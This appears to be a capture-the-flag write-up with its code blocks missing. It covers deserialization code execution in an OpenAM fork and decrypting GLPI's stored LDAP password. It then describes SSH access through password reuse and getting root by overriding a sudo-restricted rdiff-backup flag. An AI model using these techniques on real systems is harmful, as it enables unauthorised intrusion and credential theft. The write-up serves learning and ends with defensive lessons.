English  ·  Ελληνικά

Reconnaissance

A standard sweep turns up a single web front door fronting several virtual hosts, all resolved to the same IP:

That distinction matters: public PoCs written against stock ForgeRock OpenAM don't always apply to this fork, and vice versa. The copyright string in the version panel is the tell.

Foothold — pre-auth deserialization in the SSO console

OpenAM's classic UI is built on the ancient JATO framework, which — like a lot of pre-2015 Java web frameworks — happily deserializes a client-supplied session blob. CVE-2026-33439 is exactly that: the jato.clientSession parameter on the password-reset validation endpoint accepts an attacker-controlled serialized Java object, and a Click/Xalan TemplatesImpl gadget chain turns that into arbitrary code execution — before any authentication happens.

No inbound shell to babysit — every subsequent command is just another request with a different cmd header. That turns out to matter later, once the interesting part of the box needs several rounds of enumeration.

Pivoting into GLPI

The service account's filesystem holds a GLPI (open-source IT asset/helpdesk) install. GLPI's own DB config file is always a first stop — it's plaintext by design, since the app needs it at every request:

GLPI stores its own LDAP directory configuration — including the bind account's password — encrypted in the database, in glpi_authldaps.rootdn_passwd (not rootdn_password; worth a describe before guessing the schema):

That value isn't a hash to crack — it's symmetrically encrypted, and GLPI keeps the key on disk specifically so it can decrypt it again for its own use:

The actual puzzle: GLPI's AEAD scheme, exactly

32-byte key, 24-byte nonce prepended to the ciphertext, then base64 — that shape matches libsodium's crypto_secretbox (XSalsa20-Poly1305) closely enough that it's tempting to just try it. It fails MAC verification every time, silently, with no clue as to why. So does the same shape with an empty additional-authenticated-data field on the AEAD construction that's actually correct. Guessing crypto primitives from ciphertext shape alone is a trap — I went and read GLPI's own source instead of continuing to guess:

The primitive is XChaCha20-Poly1305, not secretbox — coincidentally the same 24-byte nonce length, which is exactly why the wrong guess fails in a way that looks almost right. And the actual gotcha: GLPI passes the nonce a second time as the additional authenticated data argument, not an empty string. Miss that and every attempt fails MAC verification with an identical, uninformative error, whether the primitive, the key, or the AAD is wrong. Once the call signature matches exactly:

The whole decrypt runs locally once both pieces are captured — no more requests to the target needed for this step, which also means no more RCE round-trips to keep quiet about.

Password reuse → a real shell

The bind account is a service identity (cn=svc-glpi,...), not a login. But its password isn't unique to LDAP — it's reused directly as a local user's SSH password:

Root — a wildcard in a sudo rule

sudo -l shows exactly one rule, and it's built to be "safe":

The intent is clear: let owen drive rdiff-backup's remote-server mode as root, but only against /opt/backup, and only read-only. The trailing * is the mistake — sudoers matches the whole command line as a pattern, so anything appended after read-only is still permitted, and rdiff-backup — like most argument parsers — takes the last value when a flag repeats. Appending a second --restrict-path / after the fixed one silently overrides it.

rdiff-backup normally reaches a "remote" side over SSH via --remote-schema. Since we're already local as owen, the schema string just needs to be the sudo command — no ssh in it at all, so it runs as a plain local subprocess connected to our client over a pipe:

The sudo'd "server" side runs fully unrestricted as root, and everything under /root — including the flag and root's own SSH keypair — gets copied out, owned by owen:

The whole chain, one screen

Lessons

• A stored secret is only as strong as the schema you assume for it. The ciphertext's shape (key length, nonce length) matched more than one plausible construction. Guessing cost more time than reading the eleven lines of source that stated the real one — including the one call-signature detail (AAD = nonce) that no amount of shape-guessing would have found.
• A sudo rule with a trailing wildcard is not a scoped rule. Sudoers pattern-matches the full command line as a string; anything the wildcard admits, the invoker can use to shadow an earlier flag if the target program takes last-value-wins on repeats. Scope with fixed arguments only, never a trailing *.
• Request/response RCE beats a reverse shell for a multi-step chain. Every enumeration step here was a separate HTTP request with a different cmd header — nothing to keep alive, nothing to lose on a dropped connection, and it scales cleanly to "just one more command" as many times as the chain needs.
• Password reuse across a service identity and a real login is still the most common lateral-movement primitive on these boxes, encrypted-at-rest or not — decrypting a secret is rarely the end of the story, it's usually just the start of "where else does this work."